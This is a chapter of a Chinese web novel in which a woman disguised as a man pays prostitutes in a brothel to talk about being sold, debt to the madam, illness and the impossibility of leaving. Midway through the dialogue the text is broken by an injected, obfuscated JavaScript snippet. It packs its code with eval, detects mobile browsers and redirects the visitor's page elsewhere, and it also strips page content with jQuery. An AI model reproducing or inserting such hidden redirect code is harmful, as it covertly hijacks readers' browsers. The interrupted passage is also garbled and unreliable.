屋里比外头窄得多。
陆云逸刚进门，便被热气和气味一同裹住。那热气不是炭火烘出来的暖，而是许多人挤在一处久了，酒味、汗味、脂粉味、旧被褥的霉味混出来的闷。墙上挂着两盏油灯，灯芯没有剪好，火苗一跳一跳，把屋里的影子照得又短又乱。
这地方同她在京里见过的歌舞席面完全不同。
那里有屏风，有丝竹，有端着酒盏说风雅的男人，也有低眉唱曲的女子。这里没有曲，没有茶，也没有半分遮掩。屋子中央放着几条旧板凳，桌面上有酒渍，地上丢着瓜子壳和几团皱纸。最里头用几块褪色布帘隔出小间，帘子下摆脏得发黑。
她一进来，屋里几个女人都转过头。
有个年纪稍大的女人坐在桌边，脸上的粉扑得厚，嘴唇抹得红。她先看陆云逸的脸，又看她的衣裳，最后目光落到腰间钱袋上。
“哟，来个嫩的。”
旁边立刻有人笑。
“公子头一回来吧？瞧这脸，红都还没红明白。”
方才在门口拉她的女人把帘子放下，挽住她的胳膊往里带。
“别站着呀，进来坐。外头风大，屋里暖。”
她说暖，陆云逸却觉得这屋里叫人喘不过气。
一个穿石榴红旧袄的女人凑过来，伸手就去摸她袖口。
“料子好。小公子是富家来的？”
陆云逸下意识退了一步。
那女人便笑起来：“哎哟，怕什么？到了这儿，还藏着掖着？”
另一个女人更直接，手已经摸到她腰间钱袋边。
陆云逸一把按住。
那女人也不恼，反而冲旁边喊：“王妈妈，这个有钱。”
桌边年长女人站起来。
她大约就是这里管事的。别人叫她王妈妈，她也受得很自然。她走路时脚步拖着，身上披了件青色棉袄，领口油亮。她走到陆云逸面前，眼珠子上下转了转，笑得露出几颗发黄的牙。
“公子别怕。咱们这里规矩简单，有钱就成。想要哪个？挑一个。挑好了先交钱，别耽误姑娘们做活。”
王妈妈拍了拍手。
“都过来，叫公子瞧瞧。”
几个女人便半推半笑地围上来。
说是瞧，其实也没有什么排场。有人把衣领往下扯了扯，有人捏着帕子往陆云逸脸上扫，有人干脆坐到她身边，膝盖挨着她的膝盖。她们脸上都带笑，笑得陆云逸心里发毛。
陆云逸坐在板凳上，背僵得很直。
红袄女人看出来，笑道：“真是头一回。公子，别坐得跟进学堂似的。”
旁边又是一阵笑。
王妈妈却有些不耐烦。
“笑什么笑？人家公子愿意来，是给你们饭吃。”她转头看陆云逸，“公子挑哪个？”
陆云逸看了一圈。
她记不住这些人的名字。有人叫香儿，还是杏儿；有人年纪看着比她还小，脸上却涂着很厚的粉。她们都在看她，像看一只误落进屋里的鸟，也像看一只钱袋。
最后，还是方才门口拉她进来的女人坐到她身边。
“公子就要我吧。”她挽着陆云逸的袖子，朝王妈妈笑，“我接进来的。”
王妈妈伸手：“钱。”
陆云逸问：“多少？”
鸨母眯起眼。
她大概早看出陆云逸是生客，开口便报了个高价。
“半两银子。”
旁边小个子姑娘立刻笑了一声。
鸨母瞪她。
陆云逸听出这价大约有虚，却也懒得拆。她从钱袋里取出一块碎银，放到桌上。
王妈妈眼睛立刻亮了，拿到手里掂了掂，又用牙咬了一下。
“成。”她朝那女人抬了抬下巴，“桃枝，好生伺候。别磨蹭，后头还有客。”
桃枝拿了银钱的眼神也亮了些，拉着陆云逸往里头布帘后走。
“来，公子这边。”
布帘后的小间很窄。
一张木榻，一床旧被，一只矮凳。墙角放着一只破盆，盆里还有半盆凉水。榻边挂着一盏小油灯，灯光黄，照得人的脸也黄。布帘隔音很差，外头谁笑、谁骂、谁咳嗽，都能听见。
桃枝坐到榻边，伸手就要解陆云逸的衣带。
陆云逸按住她的手。
桃枝愣了一下，随即笑了。
“公子怕呀？”
“我想问你几句话。”
桃枝眨了眨眼，像没听明白。
“问话？”
“嗯。”
她看着陆云逸，忽然笑得更厉害。
“公子，你花钱进来，就为了问话？”
“可以吗？”
桃枝歪头看她，目光又落到她腰间钱袋上。
“可以是可以。只是问话也算时辰。公子要慢慢问，就再添些。”
陆云逸又取出一块碎银，放到她手里。
桃枝立刻把银子塞进袖口，脸上的笑真切了些。
“问吧。”
她嘴上这样说，身子却仍往陆云逸身边靠。陆云逸往旁边让了让，桃枝也不在意，懒懒坐在榻上，把脚上的绣鞋踢了踢。
“公子想问什么？问我几岁？哪里人？有没有相好？”
“你几岁？”
桃枝愣住，随即笑了。
“还真问啊。”
“你不想说也可以。”
“有什么不能说。”桃枝把头发往后一拨，“楼里说我十六，其实快二十了。客人爱听年纪小的，王妈妈就叫我往小了说。”
陆云逸问：“你什么时候来的这里？”
“记不清了。”桃枝说得很快，“十来岁吧。先在别处，后来转到这儿。公子问这个做什么？听了也没意思。”
“是谁送你来的？”
“送？”桃枝像听见好笑的话，“公子说得真好听。有的是爹娘卖，有的是男人骗，有的是牙婆拐。有的自己走投无路，进来先吃口饭。谁送谁来，过几年都差不多。”
她说这话时，手指一直捻着袖里的银子，像怕那银子长脚跑了。
陆云逸又问：“你们每日要见多少客？”
桃枝脸上的笑淡了一点。
“看日子。过节多，船靠岸多，外头酒楼散席后多。少的时候三五个，多的时候……”她顿了顿，“公子，你问这个干什么？你又不是真的官差。”
“我只是想知道。”
“知道了又怎样？”桃枝往外头看了一眼，“你们这些人就爱劝娼从良。出了门，风一吹，明日照样喝茶听曲。”
陆云逸没有反驳。
她问：“银子都归你们吗？”
桃枝这回直接笑出了声。
“公子，你真是头一回。银子进了王妈妈手里，还能全到我们手里？屋钱、饭钱、衣裳钱、脂粉钱，生病吃药也记账。客人赏得多，能留点；赏得少，一晚上白忙。”
“你们能攒钱走吗？”
桃枝看着她，笑意一点点收住。
“能啊。”
陆云逸抬眼。
桃枝又笑了。
“公子给我三十两，我今晚就能赎身。再给我一处屋子，给我换个良籍，给我找个没人认得我的地方，给我一份能吃饭的活计。再叫那些老客别找我，牙婆别盯我，街坊别骂我。这样我就能走。”
她伸手拍了拍陆云逸的袖子。
“公子，你有吗？”
陆云逸沉默。
桃枝见她这样，反倒又恢复了先前那副笑脸。
“瞧，我就说，问这些没意思。”
外头有人掀帘子喊：“桃枝，磨蹭什么呢？”
桃枝立刻冲外头回：“急什么？公子给了钱的。”
外头那人嘟囔两句，帘子放下。
桃枝转回头，看着陆云逸。
“公子还问吗？快些问。春宵一刻值千金呐。”
陆云逸抬眼：“这句诗原本不是这个意思。”
桃枝愣了一下，随即笑了。
“呦，公子还要教我念诗？”
陆云逸道：“春夜难得，花香月好，所以应该珍惜时光，不是单指…”
她话说到一半，自己先停住了。
桃枝看着她，眼里笑意更浓。
“不是单指什么？”
陆云逸脸红了，没有接话。
桃枝往前凑了些，故意压低声音：“我可没说新婚夜，公子自己说的。”
陆云逸耳根有些热。
桃枝笑得肩膀都抖了一下。
“不过公子要这样说，倒也合适。来这种地方，客人都当自己花了钱，便有一夜新婚。只不过我们这儿的新婚短些，新郎新娘也换的快。”
她说完，又把手伸到陆云逸袖边，像方才那点玩笑已经够了。
“公子问吧。再不问，王妈妈真要来催了。”
陆云逸看着她。
桃枝脸上还挂着笑，眼底却有一点倦。
陆云逸问：“若…若你们病了呢？”
“病轻了照样接客。病重了躺两日，药钱记账。若病得起不来，王妈妈就骂赔钱货。”桃枝说得随意，，“上个月后院那个小翠，咳得见血，还是接了两个客。后来人没了，王妈妈叫人拿草席卷出去。听说扔到城外义地了。”
陆云逸的手慢慢攥紧。
桃枝看见了，眼神动了动。
她靠近些，声音压低。
“公子，你是不是心疼我呐？”
陆云逸看着她。
桃枝笑了一下，像终于找到这笔买卖里还能多榨出一点的地方，她拉住陆云逸的手按在自己胸口上。
“你若心疼我，就给我赎身。”
她说得很顺口。
“我会伺候人，也会洗衣做饭。公子家里若缺个丫鬟，也能带我回去。我不闹，不惹事。只要不把我送回来，叫我做什么都行。”
陆云逸看着她。
这句话落在小小的布帘后，比外头那些笑声更闷。
桃枝见她没说话，又往前凑了凑。
“公子嫌我脏？”
“不是。”
“那就是嫌贵。”桃枝笑了，“也对，三十两买我不值。我这样的，年纪也不上不下，脸也算不得顶好。若再熬几年，王妈妈都懒得给我上粉。”
陆云逸说：“你若出去，想做什么？”
桃枝一怔。
她没想到陆云逸会这样问。
“做什么？”她重复了一遍，眼神空了一瞬，很快又笑起来，“做个好人家的娘子呗。公子把我赎出去，再娶我？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584490|203305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她说完自己先笑，笑里带着试探，也带着一点故意的轻浮。
陆云逸道：“我是认真问你。”
桃枝看了她一会儿。
外头又有人在笑，笑声混着男人的骂声。隔壁帘子后传来咳嗽，接着有人催：“快点，别装死。”
桃枝脸上的笑慢慢淡下去。
“我不知道。”
她说得很低。
“我从小就没自己过过日子。小时候听爹娘的，后来听牙婆的，再后来听鸨母的。客人进门，听客人的。你问我出去做什么，我真不知道。”
她抬起头，又恢复那副笑。
“所以啊，公子别问了。问到最后，我还得哭给你看。哭也算时辰哦。”
过了片刻，她忽然凑近，压低声音：“公子，你身子有病？”
陆云逸愣住。
桃枝见她这样，反而笑了：“没病你来这儿花钱听我说废话？那你就是胆小。”
陆云逸喉咙像被什么堵住。
她从钱袋里又取出一块碎银，放在桌边。
桃枝立刻看向那银子。
陆云逸说：“今日不必做别的。我坐一会儿。”
桃枝伸手把银子拿起来，动作快得像怕她反悔。
“公子爱坐就坐。”她把银子塞好，“你这样的客人，我倒是愿意天天接。”
“为何？”
“给钱多，话虽怪，也不打人。”桃枝笑道，“人还干净。”
陆云逸不知道该接什么。
桃枝站起来，理了理头发。
“我给公子倒杯酒？”
“不用。”
“那我唱两句？我唱得不好，公子别嫌。”
“不用。”
桃枝看着她，叹了一口气。
“那公子坐吧。我眯一会儿成吗？昨夜没睡好。”
陆云逸点头。
桃枝便靠在榻边，闭上眼。她脸上的粉在灯下显得很厚，眼角有一点细纹，嘴唇上的红也有些花。闭眼之后，她看着比方才安静许多，也疲惫许多。
外头又来了客人。
王妈妈的嗓门响起来：“进来呀，站门口做什么？姑娘都有，银子先拿出来。”
有女人笑，有男人说脏话，有人咳嗽，有人在催。
陆云逸坐在狭小的隔间里，手指按在袖中那枚朱延昭送她的石子上。石子硬，硌着指腹。
她默默地想着些有的没的。
门帘忽然被人掀起一角。
王妈妈探进头来，看见桃枝靠着睡，立刻骂道：“懒骨头，客还在呢！”
桃枝惊醒，忙坐起来。
陆云逸道：“是我让她歇着。”
王妈妈看了看陆云逸，又看了看桌边放着的碎银，脸上的怒气立刻换成笑。
“公子真会疼人。那也别坐太久，后头还有客等着。”
陆云逸起身。
桃枝也站起来，扶着她往外走。
“公子下回来，还找我啊。”她说这话时，声音又甜起来，像方才那些疲惫只是灯影里的一点错觉。
陆云逸走到门口，停了一下。
“你叫桃枝？”
桃枝愣了愣，笑道：“楼里这样叫。”
“原来的名字呢？”
桃枝脸上的笑僵了一瞬。
她想了想，说：“忘了。”
这两个字说得很快。
不知是她真忘了，还是她已经懒得记起。
王妈妈在旁边催：“公子慢走。下回带朋友来啊。”
帘子掀开，冷风一下灌进来。
陆云逸走出门，站在巷子里。外头雪后的地上结着碎冰，脚下一踩，发出细小的裂声。巷子口的馄饨摊还冒着热气，两个醉汉已经走了，只剩摊主低头收碗。
她回头看了一眼。
那扇门又半掩起来。红布在风里抖了抖，很快贴回门框。屋里笑声照旧，咳嗽声也照旧。
她在门外站了一会儿，才慢慢往客栈走。
这夜之后，她又去过那条巷子几回。
有时是桃枝接待她，有时换成别人。有个女人叫香娘，喜欢问她要胭脂钱；有个叫杏儿，嗓子哑，说话总像刚哭过；还有一个年纪很小，楼里叫她小翠，可桃枝说先前那个小翠已经死了，这个是后来补上的。
这些名字，陆云逸后来大多记不清。
她只记得那些屋子都很窄，灯都不亮，女人们笑起来都像赶着交差。她问她们从哪里来，怎么进的楼，一夜要见多少人，银子能留多少，病了怎么办，老了怎么办。
她们起初笑她，后来烦她，再后来把她当成一个怪客。
怪归怪，给钱痛快，又不折腾人。
于是她们仍愿意接她。
而那时的陆云逸，还只是问。
她把一切听在耳中，记在心里，却没有伸手。因为每当有人半真半假地求她赎身，她便会想起桃枝那一串话。
出去以后呢？
住哪里，吃什么，靠谁活，凭什么不被人再拖回去？
这些问题，她一个也答不出。
所以她只是一次又一次从那道低矮的门里走出来，回到河边客栈，洗去衣袖上的脂粉气。
窗外河水流着，远处广陵灯火很亮。